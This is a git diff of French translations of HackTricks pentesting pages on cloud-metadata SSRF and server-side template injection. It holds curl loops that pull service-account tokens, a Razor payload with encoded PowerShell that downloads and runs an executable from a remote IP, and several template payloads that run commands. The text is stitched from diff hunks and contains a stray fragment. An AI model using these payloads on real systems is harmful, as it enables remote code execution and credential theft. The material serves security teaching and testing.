https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA { +Vérifiez la portée du jeton (avec la sortie précédente ou en exécutant ce qui suit) +```bash +curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA { "issued_to": "101302079XXXXX", "audience": "10130207XXXXX", "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", @@ -296,10 +296,37 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo ``` {% endcode %} +## Fonctions Cloud + +L'endpoint de métadonnées fonctionne de la même manière que dans les VM mais sans certains endpoints: +```bash +# /project +# Project name and number +curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id +curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id + +# /instance +# ID +curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id +# Zone +curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone +# Auto MTLS config +curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration +# Service Accounts +for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do +echo " Name: $sa" +echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email") +echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases") +echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity") +echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes") +echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token") +echo " ============== " +done +``` ## Digital Ocean {% hint style="warning" %} -Il n'y a pas de choses comme les rôles AWS ou les comptes de service GCP, donc ne vous attendez pas à trouver des informations d'identification de métadonnées +Il n'y a pas de choses comme les rôles AWS ou les comptes de service GCP, donc ne vous attendez pas à trouver des informations d'identification de bot dans les métadonnées {% endhint %} Documentation disponible à [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/) @@ -373,9 +400,12 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h /metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text /metadata/instance/compute/userData?api-version=2021-01-01&format=text ``` +{% endtab %} +{% endtabs %} + ### Azure App Service -À partir de l'**env**, vous pouvez obtenir les valeurs de `IDENTITY_HEADER` _et_ `IDENTITY_ENDPOINT`. Que vous pouvez utiliser pour obtenir un jeton pour communiquer avec le serveur de métadonnées. +À partir de **env**, vous pouvez obtenir les valeurs de `IDENTITY_HEADER` _et_ `IDENTITY_ENDPOINT`. Vous pouvez les utiliser pour récupérer un jeton afin de communiquer avec le serveur de métadonnées. La plupart du temps, vous voulez un jeton pour l'une de ces ressources : @@ -454,7 +484,7 @@ Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResource ## IBM Cloud {% hint style="warning" %} -Notez que par défaut, les métadonnées ne sont pas activées dans IBM, il est donc possible que vous ne puissiez pas y accéder même si vous êtes à l'intérieur d'une machine virtuelle IBM Cloud. +Notez qu'avec IBM, par défaut, les métadonnées ne sont pas activées, il est donc possible que vous ne puissiez pas y accéder même si vous êtes à l'intérieur d'une machine virtuelle IBM Cloud. {% endhint %} {% code overflow="wrap" %} @@ -483,58 +513,63 @@ curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instanc ``` {% endcode %} -La documentation des services de métadonnées de différentes plateformes est décrite ci-dessous, mettant en évidence les méthodes permettant d'accéder aux informations de configuration et d'exécution des instances. Chaque plateforme propose des points de terminaison uniques pour accéder à ses services de métadonnées. +Documentation for various platforms' metadata services is outlined below, highlighting the methods through which configuration and runtime information for instances can be accessed. Each platform offers unique endpoints to access its metadata services. ## Packetcloud -Pour accéder aux métadonnées de Packetcloud, la documentation est disponible à l'adresse suivante : -[https://metadata.packet.net/userdata](https://metadata.packet.net/userdata) +Pour accéder aux métadonnées de Packetcloud, la documentation se trouve à l'adresse suivante : [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata) ## OpenStack/RackSpace La nécessité d'un en-tête n'est pas mentionnée. Les métadonnées peuvent être consultées via : -- `http://169.254.169.254/openstack` + +* `http://169.254.169.254/openstack` ## HP Helion La nécessité d'un en-tête n'est pas mentionnée ici non plus. Les métadonnées sont accessibles à l'adresse : -- `http://169.254.169.254/2009-04-04/meta-data/` + +* `http://169.254.169.254/2009-04-04/meta-data/` ## Oracle Cloud Oracle Cloud propose une série de points de terminaison pour accéder à divers aspects des métadonnées : -- `http://192.0.0.192/latest/` -- `http://192.0.0.192/latest/user-data/` -- `http://192.0.0.192/latest/meta-data/` -- `http://192.0.0.192/latest/attributes/` + +* `http://192.0.0.192/latest/` +* `http://192.0.0.192/latest/user-data/` +* `http://192.0.0.192/latest/meta-data/` +* `http://192.0.0.192/latest/attributes/` ## Alibaba Alibaba propose des points de terminaison pour accéder aux métadonnées, y compris les identifiants d'instance et d'image : -- `http://100.100.100.200/latest/meta-data/` -- `http://100.100.100.200/latest/meta-data/instance-id` -- `http://100.100.100.200/latest/meta-data/image-id` + +* `http://100.100.100.200/latest/meta-data/` +* `http://100.100.100.200/latest/meta-data/instance-id` +* `http://100.100.100.200/latest/meta-data/image-id` ## Kubernetes ETCD Kubernetes ETCD peut contenir des clés API, des adresses IP internes et des ports. L'accès est démontré via : -- `curl -L http://127.0.0.1:2379/version` -- `curl http://127.0.0.1:2379/v2/keys/?recursive=true` + +* `curl -L http://127.0.0.1:2379/version` +* `curl http://127.0.0.1:2379/v2/keys/?recursive=true` ## Docker Les métadonnées Docker peuvent être consultées localement, avec des exemples donnés pour la récupération d'informations sur les conteneurs et les images : -- Exemple simple pour accéder aux métadonnées des conteneurs et des images via le socket Docker : -- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash` -- À l'intérieur du conteneur, utilisez curl avec le socket Docker : -- `curl --unix-socket /var/run/docker.sock http://foo/containers/json` -- `curl --unix-socket /var/run/docker.sock http://foo/images/json` + +* Exemple simple pour accéder aux métadonnées des conteneurs et des images via le socket Docker : +* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash` +* À l'intérieur du conteneur, utilisez curl avec le socket Docker : +* `curl --unix-socket /var/run/docker.sock http://foo/containers/json` +* `curl --unix-socket /var/run/docker.sock http://foo/images/json` ## Rancher Les métadonnées de Rancher peuvent être consultées en utilisant : -- `curl http://rancher-metadata//` +* `curl http://rancher-metadata//`
@@ -551,7 +586,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/pentesting-web/ssti-server-side-template-injection/README.md b/pentesting-web/ssti-server-side-template-injection/README.md index e30d4191d..94a205a80 100644 --- a/pentesting-web/ssti-server-side-template-injection/README.md +++ b/pentesting-web/ssti-server-side-template-injection/README.md @@ -4,12 +4,12 @@ Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres façons de soutenir HackTricks: +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. @@ -24,30 +24,31 @@ Autres façons de soutenir HackTricks: L'injection de modèle côté serveur est une vulnérabilité qui se produit lorsqu'un attaquant peut injecter du code malveillant dans un modèle qui est exécuté sur le serveur. Cette vulnérabilité peut être trouvée dans diverses technologies, y compris Jinja. -Jinja est un moteur de modèle populaire utilisé dans les applications web. Considérons un exemple qui illustre un extrait de code vulnérable utilisant Jinja: +Jinja est un moteur de modèle populaire utilisé dans les applications web. Considérons un exemple qui illustre un extrait de code vulnérable utilisant Jinja : ```python output = template.render(name=request.args.get('name')) ``` -Dans ce code vulnérable, le paramètre `name` de la requête de l'utilisateur est directement passé dans le modèle à l'aide de la fonction `render`. Cela pourrait potentiellement permettre à un attaquant d'injecter du code malveillant dans le paramètre `name`, entraînant une injection de modèle côté serveur. +Dans ce code vulnérable, le paramètre `name` de la requête de l'utilisateur est directement transmis au modèle en utilisant la fonction `render`. Cela pourrait potentiellement permettre à un attaquant d'injecter du code malveillant dans le paramètre `name`, entraînant une injection de modèle côté serveur. -Par exemple, un attaquant pourrait créer une requête avec une charge utile comme ceci: +Par exemple, un attaquant pourrait créer une requête avec une charge utile comme ceci : ``` http://vulnerable-website.com/?name={{bad-stuff-here}} ``` -Le payload `{{mauvaises-informations-ici}}` est injecté dans le paramètre `name`. Ce payload peut contenir des directives de modèle Jinja qui permettent à l'attaquant d'exécuter du code non autorisé ou de manipuler le moteur de modèle, potentiellement prenant le contrôle du serveur. +Le payload `{{bad-stuff-here}}` est injecté dans le paramètre `name`. Ce payload peut contenir des directives de modèle Jinja qui permettent à l'attaquant d'exécuter du code non autorisé ou de manipuler le moteur de modèle, potentiellement prenant le contrôle du serveur. -Pour prévenir les vulnérabilités d'injection de modèle côté serveur, les développeurs doivent s'assurer que les entrées utilisateur sont correctement nettoyées et validées avant d'être insérées dans les modèles. Mettre en place une validation des entrées et utiliser des techniques d'échappement conscientes du contexte peut aider à atténuer le risque de cette vulnérabilité. +Pour prévenir les vulnérabilités d'injection de modèle côté serveur, les développeurs doivent s'assurer que les entrées utilisateur sont correctement nettoyées et validées avant d'être insérées dans les modèles. Mettre en place une validation des entrées et utiliser des techniques d'échappement contextuel peuvent aider à atténuer le risque de cette vulnérabilité. ### Détection + Pour détecter l'injection de modèle côté serveur (SSTI), initialement, **le fuzzing du modèle** est une approche directe. Cela implique d'injecter une séquence de caractères spéciaux (**`${{<%[%'"}}%\`**) dans le modèle et d'analyser les différences dans la réponse du serveur entre des données régulières et cette charge spéciale. Les indicateurs de vulnérabilité comprennent : + - Des erreurs renvoyées, révélant la vulnérabilité et potentiellement le moteur de modèle. -- L'absence de la charge dans la réflexion, ou des parties manquantes, impliquant que le serveur la traite différemment des données régulières. +- Absence de la charge dans la réflexion, ou des parties manquantes, impliquant que le serveur la traite différemment des données régulières. +- **Contexte en texte brut** : Différencier des XSS en vérifiant si le serveur évalue les expressions de modèle (par exemple, `{{7*7}}`, `${7*7}`). +- **Contexte de code** : Confirmer la vulnérabilité en modifiant les paramètres d'entrée. Par exemple, changer `greeting` dans `http://vulnerable-website.com/?greeting=data.username` pour voir si la sortie du serveur est dynamique ou fixe, comme dans `greeting=data.username}}hello` renvoyant le nom d'utilisateur. -- **Contexte en texte brut** : Différenciez des XSS en vérifiant si le serveur évalue les expressions de modèle (par exemple, `{{7*7}}`, `${7*7}`). +#### Phase d'identification -- **Contexte de code** : Confirmez la vulnérabilité en modifiant les paramètres d'entrée. Par exemple, en changeant `greeting` dans `http://vulnerable-website.com/?greeting=data.username` pour voir si la sortie du serveur est dynamique ou fixe, comme dans `greeting=data.username}}hello` renvoyant le nom d'utilisateur. - -#### Phase d'Identification Identifier le moteur de modèle implique d'analyser les messages d'erreur ou de tester manuellement diverses charges spécifiques à chaque langage. Les charges courantes provoquant des erreurs incluent `${7/0}`, `{{7/0}}`, et `<%= 7/0 %>`. Observer la réponse du serveur aux opérations mathématiques aide à cibler le moteur de modèle spécifique. ## Outils @@ -71,9 +72,9 @@ python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link" python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade ``` -### [Tableau d'injection de modèle](https://github.com/Hackmanit/template-injection-table) +### [Tableau d'injection de modèles](https://github.com/Hackmanit/template-injection-table) -un tableau interactif contenant les polyglottes d'injection de modèle les plus efficaces ainsi que les réponses attendues des 44 moteurs de modèle les plus importants. +un tableau interactif contenant les polyglottes d'injection de modèles les plus efficaces ainsi que les réponses attendues des 44 moteurs de modèles les plus importants. ## Exploits @@ -156,18 +157,20 @@ $str.valueOf($chr.toChars($out.read())) Dans Thymeleaf, un test courant pour les vulnérabilités SSTI est l'expression `${7*7}`, qui s'applique également à ce moteur de template. Pour une éventuelle exécution de code à distance, des expressions comme celles-ci peuvent être utilisées : -- SpringEL : +* SpringEL: + ```java ${T(java.lang.Runtime).getRuntime().exec('calc')} ``` -- OGNL : +* OGNL: + ```java ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")} ``` -Thymeleaf exige que ces expressions soient placées dans des attributs spécifiques. Cependant, l'_insertion d'expression_ est prise en charge pour d'autres emplacements de template, en utilisant une syntaxe comme `[[...]]` ou `[(...)]`. Ainsi, un simple payload de test SSTI pourrait ressembler à `[[${7*7}]]`. +Thymeleaf exige que ces expressions soient placées dans des attributs spécifiques. Cependant, l'_insertion d'expression_ est prise en charge pour d'autres emplacements de template, en utilisant une syntaxe comme `[[...]]` ou `[(...)]`. Ainsi, une charge utile de test SSTI simple pourrait ressembler à `[[${7*7}]]`. -Cependant, la probabilité que ce payload fonctionne est généralement faible. La configuration par défaut de Thymeleaf ne prend pas en charge la génération dynamique de templates ; les templates doivent être prédéfinis. Les développeurs devraient implémenter leur propre `TemplateResolver` pour créer des templates à partir de chaînes à la volée, ce qui est rare. +Cependant, la probabilité que cette charge utile fonctionne est généralement faible. La configuration par défaut de Thymeleaf ne prend pas en charge la génération dynamique de templates ; les templates doivent être prédéfinis. Les développeurs devraient implémenter leur propre `TemplateResolver` pour créer des templates à partir de chaînes à la volée, ce qui est rare. Thymeleaf offre également un _prétraitement des expressions_, où les expressions entre doubles tirets bas (`__...__`) sont prétraitées. Cette fonctionnalité peut être utilisée dans la construction d'expressions, comme le montre la documentation de Thymeleaf : ```java @@ -264,6 +267,7 @@ Nouvelle version de Pebble : {% endraw %} + {% set bytes = (1).TYPE .forName('java.lang.Runtime') .methods[6] @@ -278,7 +282,7 @@ Nouvelle version de Pebble : ``` ### Jinjava (Java) -Jinjava est un moteur de template Java qui prend en charge l'injection de template côté serveur (SSTI). Il est utilisé dans divers frameworks Java tels que Spring Boot. Les SSTI peuvent être exploités pour exécuter du code côté serveur et potentiellement compromettre tout le système. Soyez conscient de cette vulnérabilité lors du développement d'applications utilisant Jinjava. +Jinjava est un moteur de template Java qui prend en charge l'injection de template côté serveur (SSTI). Il est utilisé pour traiter les modèles et peut être vulnérable aux attaques SSTI si les entrées des utilisateurs ne sont pas correctement validées. Jinjava est souvent utilisé dans les applications Java pour générer des documents dynamiques en utilisant des modèles. ```java {{'a'.toUpperCase()}} would result in 'A' {{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206 @@ -366,11 +370,11 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc Le Langage d'Expression (EL) est une fonctionnalité fondamentale qui facilite l'interaction entre la couche de présentation (comme les pages web) et la logique de l'application (comme les beans gérés) en JavaEE. Il est largement utilisé dans de multiples technologies JavaEE pour rationaliser cette communication. Les principales technologies JavaEE utilisant EL incluent : -- **JavaServer Faces (JSF)** : Utilise EL pour lier les composants des pages JSF aux données et actions backend correspondantes. -- **JavaServer Pages (JSP)** : EL est utilisé dans JSP pour accéder et manipuler les données au sein des pages JSP, facilitant la connexion des éléments de la page aux données de l'application. -- **Contexts and Dependency Injection for Java EE (CDI)** : EL s'intègre à CDI pour permettre une interaction transparente entre la couche web et les beans gérés, assurant une structure d'application plus cohérente. +* **JavaServer Faces (JSF)** : Utilise EL pour lier les composants des pages JSF aux données et actions backend correspondantes. +* **JavaServer Pages (JSP)** : EL est utilisé dans JSP pour accéder et manipuler les données au sein des pages JSP, facilitant la connexion des éléments de la page aux données de l'application. +* **Contexts and Dependency Injection for Java EE (CDI)** : EL s'intègre à CDI pour permettre une interaction transparente entre la couche web et les beans gérés, assurant une structure d'application plus cohérente. -Consultez la page suivante pour en savoir plus sur l'**exploitation des interpréteurs EL** : +Consultez la page suivante pour en savoir plus sur l'**exploitation des interprètes EL** : {% content-ref url="el-expression-language.md" %} [el-expression-language.md](el-expression-language.md) @@ -378,7 +382,7 @@ Consultez la page suivante pour en savoir plus sur l'**exploitation des interpr ### Groovy (Java) -Les contournements du gestionnaire de sécurité suivants ont été extraits de ce [**rapport**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/). +Les contournements du gestionnaire de sécurité suivants ont été extraits de ce [**article**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/). ```java //Basic Payload import groovy.*; @@ -411,7 +415,6 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1 ## - ### Smarty (PHP) ```php {$smarty.version} @@ -503,6 +506,7 @@ Modèle de mise en page : ``` **Plus d'informations** + * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates) ### PHPlib et HTML\_Template\_PHPLIB (PHP) @@ -564,7 +568,8 @@ echo $t->finish($t->parse('OUT', 'authors')); ?> ``` **Plus d'informations** -* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib) + +* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib) ### Jade (NodeJS) ```javascript @@ -584,7 +589,7 @@ echo $t->finish($t->parse('OUT', 'authors')); ### patTemplate (PHP) -> [patTemplate](https://github.com/wernerwa/pat-template) moteur de modèle PHP non compilant, qui utilise des balises XML pour diviser un document en différentes parties +> [patTemplate](https://github.com/wernerwa/pat-template) moteur de template PHP non compilant, qui utilise des balises XML pour diviser un document en différentes parties ```xml This is the main page. @@ -597,6 +602,7 @@ Hello {NAME}.
``` **Plus d'informations** + * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate) ### Handlebars (NodeJS) @@ -640,14 +646,14 @@ URLencoded: | **Modèle** | **Description** | | ------------ | --------------------------------------- | -| | Évaluer et afficher la sortie | +| | Évaluer et afficher la sortie | | | Évaluer et afficher la sortie encodée en HTML | -| | Commentaire | -| et | Autoriser le code (désactivé par défaut) | +| | Commentaire | +| et | Autoriser le code (désactivé par défaut) | * \= 49 -**Côté client** +**Côté Client** ```python {{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}} ``` @@ -721,7 +727,7 @@ home = pugjs.render(injected_page) ### Python -Consultez la page suivante pour apprendre des astuces sur **l'exécution de commandes arbitraires en contournant les sandbox** en python : +Consultez la page suivante pour apprendre des astuces sur **la contournement de l'exécution de commandes arbitraires en contournant les sandbox** en python : {% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} [bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/) @@ -743,10 +749,12 @@ Consultez la page suivante pour apprendre des astuces sur **l'exécution de comm + {{os.system('whoami')}} {{os.system('whoami')}} ``` **Plus d'informations** + * [https://ajinabraham.com/blog/server-side-template-injection-in-tornado](https://ajinabraham.com/blog/server-side-template-injection-in-tornado) ### Jinja2 (Python) @@ -772,6 +780,7 @@ Consultez la page suivante pour apprendre des astuces sur **l'exécution de comm + {{settings.SECRET_KEY}} {{4*4}}[[5*5]] {{7*'7'}} would result in 7777777 @@ -819,6 +828,7 @@ x=os.popen('id').read() ${x} ``` **Plus d'informations** + * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako) ### Razor (.Net) @@ -832,9 +842,9 @@ ${x} * `@(1+2)` * `@( //Code C# )` * `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");` -* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AZQB0ADYANAAuAGUAeABlAA==");` +* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBXAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AZQB0ADYANAAuAGUAeABlAA==");` -La méthode `.NET` `System.Diagnostics.Process.Start` peut être utilisée pour démarrer n'importe quel processus sur le serveur et ainsi créer un shell web. Vous pouvez trouver un exemple d'application web vulnérable sur [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) +La méthode `.NET` `System.Diagnostics.Process.Start` peut être utilisée pour démarrer n'importe quel processus sur le serveur et ainsi créer un shell web. Vous pouvez trouver un exemple d'application web vulnérable dans [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) **Plus d'informations** @@ -866,7 +876,7 @@ Même s'il s'agit de perl, il utilise des balises comme ERB en Ruby. ``` ### SSTI en GO -Dans le moteur de template de Go, la confirmation de son utilisation peut être effectuée avec des charges utiles spécifiques : +Dans le moteur de template de Go, la confirmation de son utilisation peut être faite avec des charges utiles spécifiques : * `{{ . }}` : Révèle la structure des données en entrée. Par exemple, si un objet avec un attribut `Password` est passé, `{{ .Password }}` pourrait l'exposer. * `{{printf "%s" "ssti" }}` : Devrait afficher la chaîne "ssti". @@ -874,14 +884,15 @@ Dans le moteur de template de Go, la confirmation de son utilisation peut être **Exploitation XSS** -Avec le package `text/template`, les attaques XSS peuvent être directes en insérant la charge utile directement. En revanche, le package `html/template` encode la réponse pour empêcher cela (par exemple, `{{""}}` donne `<script>alert(1)</script>`). Néanmoins, la définition et l'invocation de templates en Go peuvent contourner cet encodage : -{{define "T1"}}{{end}} {{template "T1"}} +Avec le package `text/template`, les attaques XSS peuvent être directes en insérant la charge utile directement. En revanche, le package `html/template` encode la réponse pour empêcher cela (par exemple, `{{""}}` donne `<script>alert(1)</script>`). Néanmoins, la définition et l'invocation de modèles en Go peuvent contourner cet encodage : \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}} + +vbnet Copier le code **Exploitation RCE** L'exploitation de RCE diffère significativement entre `html/template` et `text/template`. Le module `text/template` permet d'appeler directement n'importe quelle fonction publique (en utilisant la valeur "call"), ce qui n'est pas autorisé dans `html/template`. La documentation de ces modules est disponible [ici pour html/template](https://golang.org/pkg/html/template/) et [ici pour text/template](https://golang.org/pkg/text/template/). -Pour RCE via SSTI en Go, les méthodes d'objet peuvent être invoquées. Par exemple, si l'objet fourni a une méthode `System` exécutant des commandes, elle peut être exploitée comme `{{ .System "ls" }}`. L'accès au code source est généralement nécessaire pour exploiter cela, comme dans l'exemple donné : +Pour RCE via SSTI en Go, les méthodes des objets peuvent être invoquées. Par exemple, si l'objet fourni a une méthode `System` exécutant des commandes, elle peut être exploitée comme `{{ .System "ls" }}`. L'accès au code source est généralement nécessaire pour exploiter cela, comme dans l'exemple donné : ```go func (p Person) Secret (test string) string { out, _ := exec.Command(test).CombinedOutput() @@ -915,7 +926,7 @@ Si vous pensez que cela pourrait être utile, lisez : * [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap) * [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table) -## Liste de détection de force brute +## Liste de détection par force brute {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %} @@ -935,12 +946,12 @@ Si vous pensez que cela pourrait être utile, lisez : Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [groupe Telegram](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [groupe telegram](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md b/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md index 20e960bf1..f4b19f16c 100644 --- a/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md +++ b/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md @@ -2,14 +2,14 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 